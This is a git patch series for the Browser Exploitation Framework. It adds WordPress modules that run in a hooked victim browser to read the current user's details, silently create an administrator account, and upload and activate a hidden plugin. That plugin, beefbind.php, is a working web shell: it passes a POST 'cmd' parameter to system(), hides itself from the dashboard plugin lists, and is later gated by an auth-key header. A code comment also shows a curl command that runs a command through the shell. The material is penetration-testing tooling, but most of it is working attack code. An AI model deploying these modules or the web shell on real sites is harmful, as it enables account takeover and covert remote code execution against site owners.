From 2f71b35f7ba19f9811dd30e1c97058418f0e1373 Mon Sep 17 00:00:00 2001 From: erwanlr Date: Sat, 26 Oct 2019 14:19:18 +0200 Subject: [PATCH 1/5] Fixes & Improves & Adds WordPress stuff --- modules/misc/wordpress/add_user/command.js | 84 ++++++++++++++ modules/misc/wordpress/add_user/config.yaml | 19 +++ modules/misc/wordpress/add_user/module.rb | 36 ++++++ .../wordpress/current_user_info/command.js | 43 +++++++ .../wordpress/current_user_info/config.yaml | 16 +++ .../wordpress/current_user_info/module.rb | 10 ++ .../wordpress/upload_rce_plugin/beefbind.php | 35 ++++++ .../wordpress/upload_rce_plugin/command.js | 107 +++++++++++++++++ .../wordpress/upload_rce_plugin/config.yaml | 20 ++++ .../wordpress/upload_rce_plugin/module.rb | 35 ++++++ modules/misc/wordpress/wordpress_command.rb | 28 +++++ modules/misc/wordpress/wp.js | 109 ++++++++++++++++++ 12 files changed, 542 insertions(+) create mode 100644 modules/misc/wordpress/add_user/command.js create mode 100644 modules/misc/wordpress/add_user/config.yaml create mode 100644 modules/misc/wordpress/add_user/module.rb create mode 100644 modules/misc/wordpress/current_user_info/command.js create mode 100644 modules/misc/wordpress/current_user_info/config.yaml create mode 100644 modules/misc/wordpress/current_user_info/module.rb create mode 100644 modules/misc/wordpress/upload_rce_plugin/beefbind.php create mode 100644 modules/misc/wordpress/upload_rce_plugin/command.js create mode 100644 modules/misc/wordpress/upload_rce_plugin/config.yaml create mode 100644 modules/misc/wordpress/upload_rce_plugin/module.rb create mode 100644 modules/misc/wordpress/wordpress_command.rb create mode 100644 modules/misc/wordpress/wp.js diff --git a/modules/misc/wordpress/add_user/command.js b/modules/misc/wordpress/add_user/command.js new file mode 100644 index 000000000..c95e4fc22 --- /dev/null +++ b/modules/misc/wordpress/add_user/command.js @@ -0,0 +1,84 @@ +/* + Copyright (c) Browser Exploitation Framework (BeEF) - http://beefproject.com + See the file 'doc/COPYING' for copying permission + + This is a complete rewrite of the original module exploits/wordpress_add_admin which was not working anymore + + Original Author: Daniel Reece (@HBRN8). + Rewritten by Erwan LR (@erwan_lr | WPScanTeam) - https://wpscan.org/ +*/ + + +beef.execute(function() { + beef_command_url = '<%= @command_url %>'; + beef_command_id = <%= @command_id %>; + + // Adds wp.js to the DOM so we can use some functions here + if (typeof get_nonce !== 'function') { + var wp_script = document.createElement('script'); + + wp_script.setAttribute('type', 'text/javascript'); + wp_script.setAttribute('src', beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/wp.js'); + var theparent = document.getElementsByTagName('head')[0]; + theparent.insertBefore(wp_script, theparent.firstChild); + } + + var create_user_path = '<%= @wp_path %>wp-admin/user-new.php'; + + /* + When there is an error (such as incorrect email, username already existing etc), + the response will be a 200 with an ERROR in the body + + When successfully created, it's a 302, however the redirection is followed by the web browser + and the 200 is served directly to the AJAX response here and we don't get the 302, + so we check for the 'New user created.' pattern in the page + */ + function check_response_for_error(xhr) { + if (xhr.status == 200) { + responseText = xhr.responseText; + + if ((matches = /ERROR<\/strong>: (.*?)<\/p>/.exec(responseText))) { + log('User Creation failed: ' + matches[1], 'error'); + } + else if (/New user created/.test(responseText)) { + log('User successfully created!', 'success'); + } + } + } + + function create_user(nonce) { + post( + create_user_path, + { + action: 'createuser', + '_wpnonce_create-user': nonce, + '_wp_http_referer': create_user_path, + user_login: '<%= @username %>', + email: '<%= @email %>', + first_name: '', + last_name: '', + url: '', + pass1: '<%= @password %>', + pass2: '<%= @password %>', + pw_weak: 'on', // Just in case + role: '<%= @role %>', + createuser: 'Add+New+User' + }, + function(xhr) { check_response_for_error(xhr) } + ); + } + + // Timeout needed for the wp.js to be loaded first + setTimeout( + function() { + get_nonce( + create_user_path, + '_wpnonce_create-user', + function(nonce) { create_user(nonce) } + ) + }, + 300 + ); + +}); + diff --git a/modules/misc/wordpress/add_user/config.yaml b/modules/misc/wordpress/add_user/config.yaml new file mode 100644 index 000000000..03ed6bc8b --- /dev/null +++ b/modules/misc/wordpress/add_user/config.yaml @@ -0,0 +1,19 @@ +# +# Copyright (c) Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +# This is a complete rewrite of the original module exploits/wordpress_add_admin which was not working anymore +# +# Original Author: Daniel Reece (@HBRN8). +# Rewritten by Erwan LR (@erwan_lr | WPScanTeam) - https://wpscan.org/ +# +beef: + module: + wordpress_add_user: + enable: true + category: Misc + name: WordPress Add User + description: Adds a WordPress User. No email will be sent to the email address entered, and weak password are allowed. + authors: ['Erwan LR'] + target: + working: ['ALL'] diff --git a/modules/misc/wordpress/add_user/module.rb b/modules/misc/wordpress/add_user/module.rb new file mode 100644 index 000000000..87b185632 --- /dev/null +++ b/modules/misc/wordpress/add_user/module.rb @@ -0,0 +1,36 @@ +# +# Copyright (c) Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +# This is a complete rewrite of the original module exploits/wordpress_add_admin which was not working anymore +# +# Original Author: Daniel Reece (@HBRN8). +# Rewritten by Erwan LR (@erwan_lr | WPScanTeam) - https://wpscan.org/ +# +require_relative '../wordpress_command' + +class Wordpress_add_user < WordPressCommand + def self.options + super() + [ + { 'name' => 'username', 'ui_label' => 'Username', 'value' => 'beef' }, + { 'name' => 'password', 'ui_label' => 'Pwd', 'value' => [*('a'..'z'), *('0'..'9')].shuffle[0, 8].join }, + { 'name' => 'email', 'ui_label' => 'Email', 'value' => '' }, + { 'name' => 'role', + 'type' => 'combobox', + 'ui_label' => 'Role', + 'store_type' => 'arraystore', + 'store_fields' => ['role'], + 'store_data' => [['administrator'], ['editor'], ['author'], ['contributor'], ['subscriber']], + 'value' => 'administrator', + 'valueField' => 'role', + 'displayField' => 'role', + 'mode' => 'local', + } + #{ 'name' => 'domail', 'type' => 'checkbox', 'ui_label' => 'Success mail?:', 'checked' => 'true' }, + # If one day optional options are supported: + #{ 'name' => 'url', 'ui_label' => 'Website:', 'value' => '' }, + #{ 'name' => 'fname', 'ui_label' => 'FirstName:', 'value' => '' }, + #{ 'name' => 'lname', 'ui_label' => 'LastName:', 'value' => '' } + ] + end +end diff --git a/modules/misc/wordpress/current_user_info/command.js b/modules/misc/wordpress/current_user_info/command.js new file mode 100644 index 000000000..64a4a10db --- /dev/null +++ b/modules/misc/wordpress/current_user_info/command.js @@ -0,0 +1,43 @@ +/* + Copyright (c) Browser Exploitation Framework (BeEF) - http://beefproject.com + See the file 'doc/COPYING' for copying permission + + Author @erwan_lr (WPScanTeam) - https://wpscan.org/ +*/ + + +beef.execute(function() { + beef_command_url = '<%= @command_url %>'; + beef_command_id = <%= @command_id %>; + + // Adds wp.js to the DOM so we can use some functions here + if (typeof get_nonce !== 'function') { + var wp_script = document.createElement('script'); + + wp_script.setAttribute('type', 'text/javascript'); + wp_script.setAttribute('src', beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/wp.js'); + var theparent = document.getElementsByTagName('head')[0]; + theparent.insertBefore(wp_script, theparent.firstChild); + } + + var user_profile_path = '<%= @wp_path %>wp-admin/profile.php' + + function process_profile_page(xhr) { + if (xhr.status == 200) { + username = xhr.responseXML.getElementById('user_login').getAttribute('value'); + email = xhr.responseXML.getElementById('email').getAttribute('value'); + + log('Username: ' + username + ', Email: ' + email, 'success'); + } else { + log('GET ' + user_profile_path + ' - Status ' + xhr.status, 'error'); + } + } + + // Timeout needed for the wp.js to be loaded first + setTimeout( + function() { get(user_profile_path, function(response) { process_profile_page(response) }) }, + 300 + ); + +}); + diff --git a/modules/misc/wordpress/current_user_info/config.yaml b/modules/misc/wordpress/current_user_info/config.yaml new file mode 100644 index 000000000..013fb6598 --- /dev/null +++ b/modules/misc/wordpress/current_user_info/config.yaml @@ -0,0 +1,16 @@ +# +# Copyright (c) Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +# Author @erwan_lr (WPscanTeam) - https://wpscan.org/ +# +beef: + module: + wordpress_current_user_info: + enable: true + category: Misc + name: WordPress Current User Info + description: Get the current logged in user information (such as username, email etc) + authors: ['Erwan LR'] + target: + working: ['ALL'] diff --git a/modules/misc/wordpress/current_user_info/module.rb b/modules/misc/wordpress/current_user_info/module.rb new file mode 100644 index 000000000..cc5dda314 --- /dev/null +++ b/modules/misc/wordpress/current_user_info/module.rb @@ -0,0 +1,10 @@ +# +# Copyright (c) Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +# Author @erwan_lr (WPscanTeam) - https://wpscan.org/ +# +require_relative '../wordpress_command' + +class Wordpress_current_user_info < WordPressCommand +end diff --git a/modules/misc/wordpress/upload_rce_plugin/beefbind.php b/modules/misc/wordpress/upload_rce_plugin/beefbind.php new file mode 100644 index 000000000..a2b483705 --- /dev/null +++ b/modules/misc/wordpress/upload_rce_plugin/beefbind.php @@ -0,0 +1,35 @@ +items as $key => $val) { + if ($key == BEEF_PLUGIN) { unset($wp_list_table->items[$key]); } + } +} +add_action('pre_current_active_plugins', 'hide_plugin'); + +// For Multisites +function hide_plugin_from_network($plugins) { + if (in_array(BEEF_PLUGIN, array_keys($plugins))) { unset($plugins[BEEF_PLUGIN]); } + + return $plugins; +} +add_filter('all_plugins', 'hide_plugin_from_network'); + +?> \ No newline at end of file diff --git a/modules/misc/wordpress/upload_rce_plugin/command.js b/modules/misc/wordpress/upload_rce_plugin/command.js new file mode 100644 index 000000000..2e0c35e0c --- /dev/null +++ b/modules/misc/wordpress/upload_rce_plugin/command.js @@ -0,0 +1,107 @@ +/* + Copyright (c) Browser Exploitation Framework (BeEF) - http://beefproject.com + See the file 'doc/COPYING' for copying permission + + This is a rewrite of the original module misc/wordpress_post_auth_rce. + + Original Author: Bart Leppens + Rewritten by Erwan LR (@erwan_lr | WPScanTeam) +*/ + +beef.execute(function() { + beef_command_url = '<%= @command_url %>'; + beef_command_id = <%= @command_id %>; + + // Adds wp.js to the DOM so we can use some functions here + if (typeof get_nonce !== 'function') { + var wp_script = document.createElement('script'); + + wp_script.setAttribute('type', 'text/javascript'); + wp_script.setAttribute('src', beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/wp.js'); + var theparent = document.getElementsByTagName('head')[0]; + theparent.insertBefore(wp_script, theparent.firstChild); + } + + var wp_path = '<%= @wp_path %>'; + var upload_nonce_path = '<%= @wp_path %>wp-admin/plugin-install.php?tab=upload'; + var upload_plugin_path = '<%= @wp_path %>wp-admin/update.php?action=upload-plugin'; + + function upload_and_active_plugin(nonce) { + var boundary = "BEEFBEEF"; + + var post_data = "--" + boundary + "\r\n"; + post_data += "Content-Disposition: form-data; name=\"_wpnonce\"\r\n"; + post_data += "\r\n"; + post_data += nonce + "\r\n"; + post_data += "--" + boundary + "\r\n"; + post_data += "Content-Disposition: form-data; name=\"_wp_http_referer\"\r\n"; + post_data += "\r\n" + upload_nonce_path + "\r\n"; + post_data += "--" + boundary + "\r\n"; + post_data += "Content-Disposition: form-data; name=\"pluginzip\";\r\n"; + post_data += "filename=\"beefbind.zip\"\r\n"; + post_data += "Content-Type: application/octet-stream\r\n"; + post_data += "\r\n"; + post_data += "<%= Wordpress_upload_rce_plugin.generate_zip_payload %>"; + post_data += "\r\n"; + post_data += "--" + boundary + "--\r\n" + + post_as_binary( + upload_plugin_path, + boundary, + post_data, + function(xhr) { + result = xhr.responseXML.getElementsByClassName('wrap')[0]; + + if (result == null) { + log('Could not find result of plugin upload in response', 'error'); + } + else { + result_text = result.innerText; + + if (/Plugin installed successfully/i.test(result_text)) { + //log('Plugin installed successfully, activating it'); + + // Get URL to active the plugin from response, and call it + //
...Activate Plugin + + activation_tag = result.getElementsByClassName('button-primary')[0]; + + if (activation_tag == null) { + log('Plugin installed but unable to get activation URL from output', 'error'); + } + else { + activation_path = '<%= @wp_path %>wp-admin/' + activation_tag.getAttribute('href'); + + get(activation_path, function(xhr) { + result_text = xhr.responseXML.getElementById('message').innerText; + + if (/plugin activated/i.test(result_text)) { + log('Plugin installed and activated!', 'success'); + } + else { + log('Error while activating the plugin: ' + result_text, 'error'); + } + }); + } + } + else { + log('Error while installing the plugin: ' + result_text, 'error'); + } + } + } + ); + } + + // Timeout needed for the wp.js to be loaded first + setTimeout( + function() { + get_nonce( + upload_nonce_path, + '_wpnonce', + function(nonce) { upload_and_active_plugin(nonce) } + ) + }, + 300 + ); +}); + diff --git a/modules/misc/wordpress/upload_rce_plugin/config.yaml b/modules/misc/wordpress/upload_rce_plugin/config.yaml new file mode 100644 index 000000000..d4a50b57a --- /dev/null +++ b/modules/misc/wordpress/upload_rce_plugin/config.yaml @@ -0,0 +1,20 @@ +# +# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +beef: + module: + wordpress_upload_rce_plugin: + enable: true + category: Misc + name: WordPress Upload RCE Plugin + description: | + This module attempts to upload and activate a malicious wordpress plugin, which will be hidden from the plugins list in the dashboard. + Afterwards, the URI to trigger is: http://vulnerable-wordpress.site/wp-content/plugins/beefbind/beefbind.php, + and the command to execute can be send by a POST-parameter named 'cmd'. + However, there are more stealthy ways to send the POST request to execute the command, depending on the target. + CORS headers have been added to allow bidirectional crossdomain communication. + authors: ['Bart Leppens', 'Erwan LR'] + target: + working: ['ALL'] diff --git a/modules/misc/wordpress/upload_rce_plugin/module.rb b/modules/misc/wordpress/upload_rce_plugin/module.rb new file mode 100644 index 000000000..b6a203630 --- /dev/null +++ b/modules/misc/wordpress/upload_rce_plugin/module.rb @@ -0,0 +1,35 @@ +# +# Copyright (c) Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +# This is a rewrite of the original module misc/wordpress_post_auth_rce. +# +# Original Author: Bart Leppens +# Rewritten by Erwan LR (@erwan_lr | WPScanTeam) +# + +require_relative '../wordpress_command' + +class Wordpress_upload_rce_plugin < WordPressCommand + # Generate the plugin ZIP file as string. The method is called in the command.js. + # This allows easy modification of the beefbind.php to suit the needs, as well as being automatically generated + # even when the module is used with automated rules + def self.generate_zip_payload + stringio = Zip::OutputStream::write_buffer do |zio| + zio.put_next_entry("beefbind.php") + zio.write(File.read(File.join(File.dirname(__FILE__), 'beefbind.php'))) + end + + stringio.rewind + + payload = stringio.sysread + escaped_payload = '' + + # Escape payload to be able to put it in the JS + payload.each_byte do |byte| + escaped_payload << "\\" + ("x%02X" % byte) + end + + escaped_payload + end +end diff --git a/modules/misc/wordpress/wordpress_command.rb b/modules/misc/wordpress/wordpress_command.rb new file mode 100644 index 000000000..d432b4410 --- /dev/null +++ b/modules/misc/wordpress/wordpress_command.rb @@ -0,0 +1,28 @@ +# +# Copyright (c) Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +# Author Erwan LR (@erwan_lr | WPScanTeam) - https://wpscan.org/ +# + +class WordPressCommand < BeEF::Core::Command + def pre_send + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/misc/wordpress/wp.js', '/wp', 'js') + end + + # If we could retrive the hooked URL, we could try to determine the wp_path to be set below + def self.options + [ + { 'name' => 'wp_path', 'ui_label' => 'WordPress Path', 'value' => '/' } + ] + end + + # This one is triggered each time a beef.net.send is called + def post_execute + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('wp.js') + + return unless @datastore['result'] + + save({ 'result' => @datastore['result'] }) + end +end diff --git a/modules/misc/wordpress/wp.js b/modules/misc/wordpress/wp.js new file mode 100644 index 000000000..248f13356 --- /dev/null +++ b/modules/misc/wordpress/wp.js @@ -0,0 +1,109 @@ +/* + Copyright (c) Browser Exploitation Framework (BeEF) - http://beefproject.com + See the file 'doc/COPYING' for copying permission + + Author @erwan_lr (WPScanTeam) - https://wpscan.org/ +*/ + +// Pretty sure we could use jQuery as it's included by the hook.js +// Also, could have all that in as WP.prototype ? + +function log(data, status = null) { + if (status == 'error') { status = beef.are.status_error(); } + if (status == 'success') { status = beef.are.status_success(); } + + beef.net.send(beef_command_url, beef_command_id, data, status); + beef.debug(data); +}; + +function get(absolute_path, success) { + var xhr = new XMLHttpRequest(); + + xhr.open('GET', absolute_path); + xhr.responseType = 'document'; + + xhr.onerror = function() { log('GET ' + absolute_path + ' could not be done', 'error'); } + + xhr.onload = function() { + //log('GET ' + absolute_path + ' resulted in a code ' + xhr.status); + + success(xhr); + } + + xhr.send(); +} + +function post(absolute_path, data, success) { + var params = typeof data == 'string' ? data : Object.keys(data).map( + function(k){ return encodeURIComponent(k) + '=' + encodeURIComponent(data[k]) } + ).join('&'); + + var xhr = new XMLHttpRequest(); + + xhr.open('POST', absolute_path); + xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); + + xhr.onerror = function() { log('POST ' + absolute_path + ' could not be done', 'error'); } + + xhr.onload = function() { + //log('POST ' + absolute_path + ' resulted in a code ' + xhr.status); + + success(xhr); + } + + xhr.send(params); +} + +function post_as_binary(absolute_path, boundary, data, success) { + var xhr = new XMLHttpRequest(); + + // for WebKit-based browsers + if (!XMLHttpRequest.prototype.sendAsBinary) { + XMLHttpRequest.prototype.sendAsBinary = function (sData) { + var nBytes = sData.length, ui8Data = new Uint8Array(nBytes); + + for (var nIdx = 0; nIdx < nBytes; nIdx++) { + ui8Data[nIdx] = sData.charCodeAt(nIdx) & 0xff; + } + /* send as ArrayBufferView...: */ + this.send(ui8Data); + }; + } + + xhr.open('POST', absolute_path); + xhr.setRequestHeader('Content-Type', 'multipart/form-data; boundary=' + boundary ); + + xhr.responseType = 'document'; + + xhr.onerror = function() { log('POST (Binary)' + absolute_path + ' could not be done', 'error'); } + + xhr.onload = function() { + //log('POST (Binary) ' + absolute_path + ' resulted in a code ' + xhr.status); + + success(xhr); + } + + xhr.sendAsBinary(data); +} + +function get_nonce(absolute_path, nonce_id, success) { + get(absolute_path, function(xhr) { + if (xhr.status == 200) { + var nonce_tag = xhr.responseXML.getElementById(nonce_id); + + if (nonce_tag == null) { + log(absolute_path + ' - Unable to find nonce tag with id ' + nonce_id, 'error'); + } + else { + nonce = nonce_tag.getAttribute('value'); + + //log('GET ' + absolute_path + ' - Nonce: ' + nonce); + + success(nonce); + } + } else { + log('GET ' + absolute_path + ' - Status: ' + xhr.status, 'error'); + } + }); +} + From 151976176a395c9200fba4bbcabd75844e73707a Mon Sep 17 00:00:00 2001 From: erwanlr Date: Sat, 26 Oct 2019 14:28:06 +0200 Subject: [PATCH 2/5] Adds missing author in module (previous commit) --- modules/misc/wordpress/add_user/config.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/misc/wordpress/add_user/config.yaml b/modules/misc/wordpress/add_user/config.yaml index 03ed6bc8b..0e27769e8 100644 --- a/modules/misc/wordpress/add_user/config.yaml +++ b/modules/misc/wordpress/add_user/config.yaml @@ -14,6 +14,6 @@ beef: category: Misc name: WordPress Add User description: Adds a WordPress User. No email will be sent to the email address entered, and weak password are allowed. - authors: ['Erwan LR'] + authors: ['hiburn8 @hbrn8', 'Erwan LR'] target: working: ['ALL'] From b6d338d334b8b9a4fa4f5d510e058c962d2a614c Mon Sep 17 00:00:00 2001 From: erwanlr Date: Sun, 27 Oct 2019 00:09:39 +0200 Subject: [PATCH 3/5] WordPress - Adds auth_key to Plugin, Use SecureRandom and Fixes fatal error when plugin file called directly --- modules/misc/wordpress/add_user/module.rb | 2 +- .../wordpress/upload_rce_plugin/beefbind.php | 38 +++++++++++-------- .../wordpress/upload_rce_plugin/command.js | 2 +- .../wordpress/upload_rce_plugin/config.yaml | 2 +- .../wordpress/upload_rce_plugin/module.rb | 18 ++++++++- modules/misc/wordpress/wordpress_command.rb | 4 +- 6 files changed, 45 insertions(+), 21 deletions(-) diff --git a/modules/misc/wordpress/add_user/module.rb b/modules/misc/wordpress/add_user/module.rb index 87b185632..d9de78a28 100644 --- a/modules/misc/wordpress/add_user/module.rb +++ b/modules/misc/wordpress/add_user/module.rb @@ -13,7 +13,7 @@ class Wordpress_add_user < WordPressCommand def self.options super() + [ { 'name' => 'username', 'ui_label' => 'Username', 'value' => 'beef' }, - { 'name' => 'password', 'ui_label' => 'Pwd', 'value' => [*('a'..'z'), *('0'..'9')].shuffle[0, 8].join }, + { 'name' => 'password', 'ui_label' => 'Pwd', 'value' => SecureRandom.hex(5) }, { 'name' => 'email', 'ui_label' => 'Email', 'value' => '' }, { 'name' => 'role', 'type' => 'combobox', diff --git a/modules/misc/wordpress/upload_rce_plugin/beefbind.php b/modules/misc/wordpress/upload_rce_plugin/beefbind.php index a2b483705..b74b23560 100644 --- a/modules/misc/wordpress/upload_rce_plugin/beefbind.php +++ b/modules/misc/wordpress/upload_rce_plugin/beefbind.php @@ -11,25 +11,33 @@ header("Access-Control-Allow-Origin: *"); -if (isset($_POST['cmd'])) { echo @system($_POST['cmd']); } - +define('SHA1_HASH', '#SHA1HASH#'); define('BEEF_PLUGIN', 'beefbind/beefbind.php'); -function hide_plugin() { - global $wp_list_table; - - foreach ($wp_list_table->items as $key => $val) { - if ($key == BEEF_PLUGIN) { unset($wp_list_table->items[$key]); } - } +if (isset($_SERVER['HTTP_BEEF']) && strlen($_SERVER['HTTP_BEEF']) > 1) { + if (strcasecmp(sha1($_SERVER['HTTP_BEEF']), SHA1_HASH) === 0) { + if (isset($_POST['cmd']) && strlen($_POST['cmd']) > 0) { + echo system($_POST['cmd']); + } + } } -add_action('pre_current_active_plugins', 'hide_plugin'); -// For Multisites -function hide_plugin_from_network($plugins) { - if (in_array(BEEF_PLUGIN, array_keys($plugins))) { unset($plugins[BEEF_PLUGIN]); } +if (defined('WPINC')) { + function hide_plugin() { + global $wp_list_table; + + foreach ($wp_list_table->items as $key => $val) { + if ($key == BEEF_PLUGIN) { unset($wp_list_table->items[$key]); } + } + } + add_action('pre_current_active_plugins', 'hide_plugin'); - return $plugins; + // For Multisites + function hide_plugin_from_network($plugins) { + if (in_array(BEEF_PLUGIN, array_keys($plugins))) { unset($plugins[BEEF_PLUGIN]); } + + return $plugins; + } + add_filter('all_plugins', 'hide_plugin_from_network'); } -add_filter('all_plugins', 'hide_plugin_from_network'); - ?> \ No newline at end of file diff --git a/modules/misc/wordpress/upload_rce_plugin/command.js b/modules/misc/wordpress/upload_rce_plugin/command.js index 2e0c35e0c..1a01fb5b4 100644 --- a/modules/misc/wordpress/upload_rce_plugin/command.js +++ b/modules/misc/wordpress/upload_rce_plugin/command.js @@ -41,7 +41,7 @@ beef.execute(function() { post_data += "filename=\"beefbind.zip\"\r\n"; post_data += "Content-Type: application/octet-stream\r\n"; post_data += "\r\n"; - post_data += "<%= Wordpress_upload_rce_plugin.generate_zip_payload %>"; + post_data += "<%= Wordpress_upload_rce_plugin.generate_zip_payload(@auth_key) %>"; post_data += "\r\n"; post_data += "--" + boundary + "--\r\n" diff --git a/modules/misc/wordpress/upload_rce_plugin/config.yaml b/modules/misc/wordpress/upload_rce_plugin/config.yaml index d4a50b57a..8891812e7 100644 --- a/modules/misc/wordpress/upload_rce_plugin/config.yaml +++ b/modules/misc/wordpress/upload_rce_plugin/config.yaml @@ -12,7 +12,7 @@ beef: description: | This module attempts to upload and activate a malicious wordpress plugin, which will be hidden from the plugins list in the dashboard. Afterwards, the URI to trigger is: http://vulnerable-wordpress.site/wp-content/plugins/beefbind/beefbind.php, - and the command to execute can be send by a POST-parameter named 'cmd'. + and the command to execute can be send by a POST-parameter named 'cmd', with a 'BEEF' header containing the value of the auth_key option. However, there are more stealthy ways to send the POST request to execute the command, depending on the target. CORS headers have been added to allow bidirectional crossdomain communication. authors: ['Bart Leppens', 'Erwan LR'] diff --git a/modules/misc/wordpress/upload_rce_plugin/module.rb b/modules/misc/wordpress/upload_rce_plugin/module.rb index b6a203630..38164f0c0 100644 --- a/modules/misc/wordpress/upload_rce_plugin/module.rb +++ b/modules/misc/wordpress/upload_rce_plugin/module.rb @@ -7,17 +7,25 @@ # Original Author: Bart Leppens # Rewritten by Erwan LR (@erwan_lr | WPScanTeam) # +# To be executed, the request needs a BEEF header with the value of the auth_key option, example: +# curl -H 'BEEF: c9c3a2dcff54c5e2' -X POST --data 'cmd=id' http://wp.lab/wp-content/plugins/beefbind/beefbind.php +# +require 'digest/sha1' require_relative '../wordpress_command' class Wordpress_upload_rce_plugin < WordPressCommand # Generate the plugin ZIP file as string. The method is called in the command.js. # This allows easy modification of the beefbind.php to suit the needs, as well as being automatically generated # even when the module is used with automated rules - def self.generate_zip_payload + def self.generate_zip_payload(auth_key) stringio = Zip::OutputStream::write_buffer do |zio| zio.put_next_entry("beefbind.php") - zio.write(File.read(File.join(File.dirname(__FILE__), 'beefbind.php'))) + + file_content = File.read(File.join(File.dirname(__FILE__), 'beefbind.php')).to_s + file_content.gsub!(/#SHA1HASH#/, Digest::SHA1.hexdigest(auth_key)) + + zio.write(file_content) end stringio.rewind @@ -32,4 +40,10 @@ class Wordpress_upload_rce_plugin < WordPressCommand escaped_payload end + + def self.options + super() + [ + { 'name' => 'auth_key', 'ui_label' => 'Auth Key', 'value' => SecureRandom.hex(8) } + ] + end end diff --git a/modules/misc/wordpress/wordpress_command.rb b/modules/misc/wordpress/wordpress_command.rb index d432b4410..2107112d8 100644 --- a/modules/misc/wordpress/wordpress_command.rb +++ b/modules/misc/wordpress/wordpress_command.rb @@ -5,6 +5,8 @@ # Author Erwan LR (@erwan_lr | WPScanTeam) - https://wpscan.org/ # +require 'securerandom' + class WordPressCommand < BeEF::Core::Command def pre_send BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/misc/wordpress/wp.js', '/wp', 'js') @@ -13,7 +15,7 @@ class WordPressCommand < BeEF::Core::Command # If we could retrive the hooked URL, we could try to determine the wp_path to be set below def self.options [ - { 'name' => 'wp_path', 'ui_label' => 'WordPress Path', 'value' => '/' } + { 'name' => 'wp_path', 'ui_label' => 'WordPress Path', 'value' => '/wordpress-5.2.4/' } ] end From 12e5f51721321c109d36da2529c96fbf700eb43f Mon Sep 17 00:00:00 2001 From: erwanlr Date: Sun, 27 Oct 2019 00:11:17 +0200 Subject: [PATCH 4/5] Removes test wp_path --- modules/misc/wordpress/wordpress_command.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/misc/wordpress/wordpress_command.rb b/modules/misc/wordpress/wordpress_command.rb index 2107112d8..b2ed21a26 100644 --- a/modules/misc/wordpress/wordpress_command.rb +++ b/modules/misc/wordpress/wordpress_command.rb @@ -15,7 +15,7 @@ class WordPressCommand < BeEF::Core::Command # If we could retrive the hooked URL, we could try to determine the wp_path to be set below def self.options [ - { 'name' => 'wp_path', 'ui_label' => 'WordPress Path', 'value' => '/wordpress-5.2.4/' } + { 'name' => 'wp_path', 'ui_label' => 'WordPress Path', 'value' => '/' } ] end From 7841f551665b47dee02793186bac6c47e2234747 Mon Sep 17 00:00:00 2001 From: erwanlr Date: Sun, 27 Oct 2019 11:11:36 +0100 Subject: [PATCH 5/5] WP - Displays Auth Key when plugin successfuly installed and activated --- modules/misc/wordpress/upload_rce_plugin/command.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/misc/wordpress/upload_rce_plugin/command.js b/modules/misc/wordpress/upload_rce_plugin/command.js index 1a01fb5b4..73d11b3bb 100644 --- a/modules/misc/wordpress/upload_rce_plugin/command.js +++ b/modules/misc/wordpress/upload_rce_plugin/command.js @@ -76,7 +76,7 @@ beef.execute(function() { result_text = xhr.responseXML.getElementById('message').innerText; if (/plugin activated/i.test(result_text)) { - log('Plugin installed and activated!', 'success'); + log('Plugin installed and activated! - Auth Key: <%= @auth_key %>', 'success'); } else { log('Error while activating the plugin: ' + result_text, 'error');